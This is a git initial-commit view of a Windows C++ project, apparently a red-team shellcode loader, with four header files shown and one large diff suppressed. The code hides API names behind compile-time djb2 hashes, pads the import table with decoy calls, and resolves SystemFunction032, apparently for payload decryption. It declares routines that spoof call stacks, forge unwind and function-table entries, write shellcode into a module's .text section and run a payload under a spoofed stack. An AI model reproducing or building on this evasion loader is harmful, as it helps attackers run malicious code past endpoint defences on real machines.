Initial commit

This commit is contained in:
Xec412
2026-07-26 18:42:28 +03:00
commit 200d69b3b1
28 changed files with 4995 additions and 0 deletions
+355
View File
@@ -0,0 +1,355 @@
/* Common.h */
#pragma once
/* HEADER GUARD */
#ifndef COMMON_H
#define COMMON_H
#include <Windows.h>
#include "Structs.h"
/*================================================
@ WIN32_API Struct
================================================*/
struct WIN32_API {
struct {
NTSTATUS(NTAPI* RtlQueueWorkItem)(
_In_ WORKERCALLBACKFUNC Function,
_In_opt_ PVOID Context,
_In_ ULONG Flags
);
NTSTATUS(NTAPI* NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtWaitForSingleObject)(
_In_ HANDLE Handle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout
);
NTSTATUS(NTAPI* NtCreateEvent)(
_Out_ PHANDLE EventHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ EVENT_TYPE EventType,
_In_ BOOLEAN InitialState
);
NTSTATUS(NTAPI* NtSetEvent)(
_In_ HANDLE EventHandle,
_Out_opt_ PLONG PreviousState
);
BOOLEAN(NTAPI* RtlAddFunctionTable)(
_In_ PRUNTIME_FUNCTION FunctionTable,
_In_ ULONG EntryCount,
_In_ ULONG64 BaseAddress
);
BOOLEAN(NTAPI* RtlDeleteFunctionTable)(
_In_ PRUNTIME_FUNCTION FunctionTable
);
VOID(NTAPI* RtlAcquireSRWLockExclusive)(
_Inout_ PRTL_SRWLOCK SRWLock
);
VOID(NTAPI* RtlReleaseSRWLockExclusive)(
_Inout_ PRTL_SRWLOCK SRWLock
);
PEXCEPTION_ROUTINE(NTAPI* RtlVirtualUnwind)(
_In_ DWORD HandlerType,
_In_ DWORD64 ImageBase,
_In_ DWORD64 ControlPc,
_In_ PRUNTIME_FUNCTION FunctionEntry,
_Inout_ PCONTEXT ContextRecord,
_Out_ PVOID* HandlerData,
_Out_ PDWORD64 EstablisherFrame,
_Inout_opt_ PKNONVOLATILE_CONTEXT_POINTERS ContextPointers
);
PRUNTIME_FUNCTION(NTAPI* RtlLookupFunctionEntry)(
_In_ DWORD64 ControlPc,
_Out_ PDWORD64 ImageBase,
_Out_ PUNWIND_HISTORY_TABLE HistoryTable
);
} Nt;
struct {
DWORD(WINAPI* WaitForSingleObject)(
_In_ HANDLE hHandle,
_In_ DWORD dwMilliseconds
);
HMODULE(WINAPI* LoadLibraryW)(
_In_ LPCWSTR lpLibName
);
HMODULE(WINAPI* GetModuleHandleW)(
_In_opt_ LPCWSTR lpModuleName
);
} K32;
struct {
LSTATUS(WINAPI* RegOpenKeyExW)(
_In_ HKEY hKey,
_In_opt_ LPCWSTR lpSubKey,
_In_ DWORD ulOptions,
_In_ REGSAM samDesired,
_Out_ PHKEY phkResult
);
LSTATUS(WINAPI* RegQueryValueExW)(
_In_ HKEY hKey,
_In_opt_ LPCWSTR lpValueName,
LPDWORD lpReserved,
_Out_opt_ LPDWORD lpType,
_Out_opt_ LPBYTE lpData,
_Inout_opt_ LPDWORD lpcbData
);
LSTATUS(WINAPI* RegCloseKey) (
_In_ HKEY hKey
);
PVOID SystemFunction032;
} AdvApi32;
};
/* Global Object */
inline WIN32_API g_Win32{};
/* External assembly functions */
extern "C" ULONG_PTR CaptureStackPointer();
extern "C" ULONG_PTR ScanStackForValue(
_In_ ULONG_PTR uSearchValue,
OUT PULONG_PTR puFoundAddress
);
extern "C" ULONG_PTR ShadowGate(
_In_ PSHADOWGATE_PARAMS pShadowParams
);
extern "C" ULONG_PTR ShadowGateEnd();
/*================================================
@ Function Pointers
================================================*/
/* From Resolver.cpp */
namespace Resolver {
PVOID LdrGetModuleByHash(
_In_ ULONG uModuleHash
);
PVOID LdrGetSymbolByHash(
_In_ PVOID pModule,
_In_ ULONG uFunctionHash
);
VOID ResolveSectionInfo(
_In_ PVOID pModule,
_In_ PCHAR pcSectionName,
OUT PSECTION_INFO pSectionInfo
);
VOID ResolvePDataSectionInfo(
_In_ PVOID pModule,
OUT PSECTION_INFO pSectionInfo
);
VOID ResolveTextSectionInfo(
_In_ PVOID pModule,
OUT PSECTION_INFO pSectionInfo
);
PVOID ResolveExceptionDirectory(
_In_ PVOID pModule,
OUT PDWORD pdwDirSize
);
DWORD LocateCallInstructionOffset(
_In_ ULONG_PTR uStartAddress,
_In_ DWORD dwSearchLimit
);
}
/* From StackUtils.cpp */
namespace StackUtils {
ULONG_PTR ResolveThreadStackOrigin(
OUT PULONG_PTR puStackPointer
);
BOOL DetectStackCookiePresence(
_In_ PVOID pModule
);
}
/* From Unwind.cpp */
namespace Unwinder {
DWORD CalculateUnwindFrameSize(
_In_ PVOID pModule,
_In_ PVOID pUnwindInfo,
OUT PDWORD pdwTarget
);
PRUNTIME_FUNCTION FindDonorByFrameSize(
_In_ PVOID pModule,
_In_ DWORD dwFrameSize,
_In_ BOOL bStrict,
OUT PDWORD pdwActual
);
NTSTATUS UnlockPDataSection(
_In_ PVOID pModule
);
NTSTATUS LockPDataSection(
_In_ PVOID pModule
);
NTSTATUS UnlockTextSection(
_In_ PVOID pModule
);
NTSTATUS LockTextSection(
_In_ PVOID pModule
);
BOOL ResolveDynamicFunctionTablePtrs(
_In_ HANDLE hProcess,
OUT PULONG_PTR puHeadPtr,
OUT PULONG_PTR puSentinel
);
PDYNAMIC_FUNCTION_TABLE LocateDynamicFunctionTableEntry(
_In_ ULONG_PTR uAddress
);
BOOL LocateInvertedFunctionTable(
OUT PINVERTED_FUNCTION_TABLE* ppInvertedTable,
OUT PRTL_SRWLOCK* ppSrwLock
);
BOOL ResolveLdrMrdataProtector(
OUT fnLdrProtectMrdata* pOutFnPtr
);
BOOL CollapseInvertedTableEntry(
_In_ PVOID pModule,
OUT PULONG puOldSize
);
BOOL ExpandInvertedTableEntry(
_In_ PVOID pModule,
_In_ ULONG ulOldSize
);
BOOL AppendCodeToText(
_In_ PVOID pModule,
_In_ PVOID pCode,
_In_ DWORD dwCodeSize,
OUT PDWORD pdwBeginRva
);
DWORD ResolveFunctionSize(
_In_ PVOID pModule,
_In_ PVOID pFunction
);
}
/* From Context.cpp */
namespace ByoudContext {
VOID InitializeSpoofContext(
OUT PBYOUD_CONTEXT pByoudCtx,
_In_ DWORD dwTechnique,
_In_ PVOID pTarget
);
BOOL CommitSpoofChange(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PBYOUD_CHANGE pByoudChange
);
BOOL TrackCacheNullification(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ ULONG_PTR uAddress,
_In_ DWORD dwOld
);
BOOL TrackPDataProtection(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ PVOID pBase,
_In_ SIZE_T Size,
_In_ DWORD dwOldProtect
);
BOOL TrackInvertedTableCollapse(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ ULONG ulOldSize
);
BOOL TrackDynamicTableInsertion(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PRUNTIME_FUNCTION pRuntimeFunction
);
BOOL TrackDynamicTableTypeChange(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pEntry,
_In_ DWORD dwOldType
);
BOOL TrackShellcodeInjection(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ PVOID pAddress,
_In_ DWORD dwSize
);
BOOL RevertAllSpoofChanges(
_Inout_ PBYOUD_CONTEXT pByoudCtx
);
}
/* From StackSpoofing.cpp */
namespace StackSpoof {
BOOL FlushFunctionTableCache(
OUT PULONG_PTR puAddress,
OUT PDWORD pdwOld
);
BOOL FlushFunctionEntryCache(
OUT PULONG_PTR puAddress,
OUT PDWORD pdwOld
);
BOOL SuppressPDataAccess(
_In_ PVOID pModule,
OUT PDWORD pdwOldProtect
);
BOOL RestorePDataAccess(
_In_ PVOID pModule,
_In_ DWORD dwOldProtect
);
PSHADOWGATE_PARAMS ConstructShadowGateParams(
_In_ PVOID pFunction,
_In_ DWORD dwFrameSize,
_In_ ULONG_PTR Argc,
_In_ PULONG_PTR pArgv
);
PSHADOWGATE_PARAMS ConstructShadowGateParamsVa(
_In_ PVOID pFunction,
_In_ DWORD dwFrameSize,
_In_ ULONG_PTR Argc,
...
);
BOOL RegisterSpoofedRuntimeFunction(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ DWORD dwShcOffset,
_In_ DWORD dwShcSize,
_In_ DWORD dwDesired,
OUT PDWORD pdwActual
);
ULONG_PTR ExecuteWithSpoofedStack(
_In_ PVOID pPayload,
_In_ DWORD dwPayloadSize
);
}
/* From Proxy.cpp */
namespace Proxy {
PVOID WorkItemLoadLibrary(
_In_ PWSTR LibraryName
);
NTSTATUS WorkItemNtProtectVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG NewProtection,
OUT PULONG OldProtection
);
}
#endif /* COMMON.H */
+61
View File
@@ -0,0 +1,61 @@
/* IatCamouflage.h */
#pragma once
#include <Windows.h>
#include "Structs.h"
#include "Primitives.h"
#include "Common.h"
/*================================================
@ CompileTimeSeed Function
================================================*/
int RandomCompileTimeSeed(void) {
return '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
}
/*================================================
@ AllocateDummyBuffer Function
================================================*/
PVOID AllocateDummyBuffer(
PVOID* ppAddress
) {
PVOID Address = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF);
if (!Address)
return nullptr;
*(int*)Address = RandomCompileTimeSeed() % 0xFF;
*ppAddress = Address;
return Address;
}
/*================================================
@ IatCamouflage Function
================================================*/
VOID IatCamouflage() {
PVOID Address = nullptr;
int* X = (int*)AllocateDummyBuffer(&Address);
if (*X > 350) {
unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
i = SetCriticalSectionSpinCount(NULL, NULL);
i = GetWindowContextHelpId(NULL);
i = GetWindowLongPtrW(NULL, NULL);
i = RegisterClassW(NULL);
i = IsWindowVisible(NULL);
i = ConvertDefaultLocale(NULL);
i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
i = IsDialogMessageW(NULL, NULL);
}
Macro::DeletePtr(Address);
}
+92
View File
@@ -0,0 +1,92 @@
/* InitializeAPI.h */
#pragma once
#ifndef INITIALIZEAPI_H
#define INITIALIZEAPI_H
#include <Windows.h>
#include "Primitives.h"
#include "Debug.h"
#include "Structs.h"
#include "Common.h"
namespace Win32API {
inline BOOL InitializeWin32APIs() {
PVOID Kernel32 = nullptr;
PVOID Ntdll = nullptr;
PVOID AdvApi = nullptr;
WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
#ifdef DEBUG
DBGPRINT("[*] Initializing Win32 APIs \n");
#endif
if (!(Kernel32 = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")))) {
#ifdef DEBUG
DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Kernel32 Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
if (!(Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")))) {
#ifdef DEBUG
DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Ntdll Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW"));
g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW"));
g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem"));
if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem)
return FALSE;
if (!(AdvApi = Proxy::WorkItemLoadLibrary(AdvStr))) {
#ifdef DEBUG
DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load AdvApi - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject"));
if (!g_Win32.K32.WaitForSingleObject)
return FALSE;
g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent"));
g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess"));
g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent"));
g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject"));
g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable"));
g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind"));
if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess ||
!g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive ||
!g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable ||
!g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive ||
!g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject)
return FALSE;
g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey"));
g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW"));
g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW"));
g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032"));
if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032)
return FALSE;
#ifdef DEBUG
DBGPRINT("[+] Success \n");
#endif
return TRUE;
}
}
#endif
+195
View File
@@ -0,0 +1,195 @@
/* Primivites.h */
#pragma once
/* HEADER GUARD */
#ifndef PRIMIVITES_H
#define PRIMIVITES_H
#include <Windows.h>
#include "Structs.h"
/*==================================================
@ ExprHashStrDjb2 Function
# Hashes the provided string via djb2 algorithm
# at compile time. Supports both ANSI & UNICODE
====================================================*/
namespace Hash {
template <typename T> struct CleanType;
template <typename T> struct CleanType<T*> { using type = T; };
template <typename T> struct CleanType<const T*> { using type = T; };
template <typename T>
constexpr ULONG ExprHashStrDjb2(_In_ T StringToHash) {
ULONG Hash = 5448;
ULONG Seed = 7;
constexpr auto XorKey = 0x1337u;
using CharType = typename CleanType<T>::type;
CharType Char = 0;
if (!StringToHash) {
return 0;
}
while ((Char = *StringToHash++) != 0) {
/* Convert current character to uppercase */
if (Char >= 'a' && Char <= 'z') {
Char -= 0x20;
}
/* Append Hash */
Hash = ((Hash << Seed) + Hash) + Char;
}
return Hash ^ XorKey;
}
}
/*==================================================
@ CRT (C Runtime Library) Function Replacements
====================================================*/
namespace Primitive {
/* memcpy */
inline VOID MemoryCopy(_In_ PVOID pDestination, _In_ PVOID pSource, _In_ SIZE_T sSize) {
PBYTE D = (PBYTE)pDestination;
PBYTE S = (PBYTE)pSource;
while (sSize--) {
*D++ = *S++;
}
}
/* memset */
inline PVOID MemorySet(_In_ PVOID pDestination, _In_ INT iValue, _In_ SIZE_T sCount) {
PBYTE D = (PBYTE)pDestination;
while (sCount--) {
*D = (BYTE)iValue;
D++;
}
return pDestination;
}
/* strlen (Supports both ANSI & UNICODE) */
template <typename T>
inline SIZE_T StringLength(_In_ T String) {
auto Ptr = String;
if (!String) return 0;
while (*Ptr) {
Ptr++;
}
return (SIZE_T)(Ptr - String);
}
/* memcmp */
inline INT MemoryCompare(_In_ const VOID* Ptr1, _In_ const VOID* Ptr2, _In_ SIZE_T Num) {
const unsigned char* P1 = (const unsigned char*)Ptr1;
const unsigned char* P2 = (const unsigned char*)Ptr2;
while (Num--) {
if (*P1 != *P2)
return *P1 - *P2;
P1++;
P2++;
}
return 0;
}
/* strrchr */
inline PCHAR StringFindLastChar(_In_ PCHAR String, _In_ INT Char) {
PCHAR Last = nullptr;
if (!String) return nullptr;
while (*String) {
if (*String == (CHAR)Char)
Last = String;
String++;
}
return Last;
}
/* Other Helpers */
inline VOID WideToAnsi(_In_ PWSTR Wide, OUT PCSTR Ansi, _In_ SIZE_T MaxCount) {
if (!Wide || !Ansi || !MaxCount)
return;
SIZE_T Index = 0;
while (Wide[Index] != L'\0' && Index < (MaxCount - 1)) {
((PCHAR)Ansi)[Index] = ((CHAR)Wide[Index]);
Index++;
}
((PCHAR)Ansi)[Index] = '\0';
}
inline VOID AnsiToWide(_In_ PCSTR Ansi, OUT PWSTR Wide, _In_ SIZE_T MaxCount) {
if (!Ansi || !Wide || !MaxCount)
return;
SIZE_T Index = 0;
while (Ansi[Index] != '\0' && Index < (MaxCount - 1)) {
Wide[Index] = (WCHAR)Ansi[Index];
Index++;
}
Wide[Index] = L'\0';
}
}
inline void* operator new(size_t size) {
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
}
inline void operator delete(void* ptr) noexcept {
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
}
inline void operator delete(void* ptr, size_t) noexcept {
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
}
/*==================================================
@ Macros to provide better readability for the reader
====================================================*/
namespace Macro {
template <typename T>
inline VOID DeleteHandle(T& H) {
if (H && H != INVALID_HANDLE_VALUE) {
CloseHandle(H);
H = nullptr;
}
}
template <typename T>
inline VOID DeletePtr(T& PTR) {
if (PTR != nullptr) {
HeapFree(GetProcessHeap(), 0, PTR);
PTR = nullptr;
}
}
}
#endif // PRIMIVITES_H
+1495
View File
File diff suppressed because it is too large Load Diff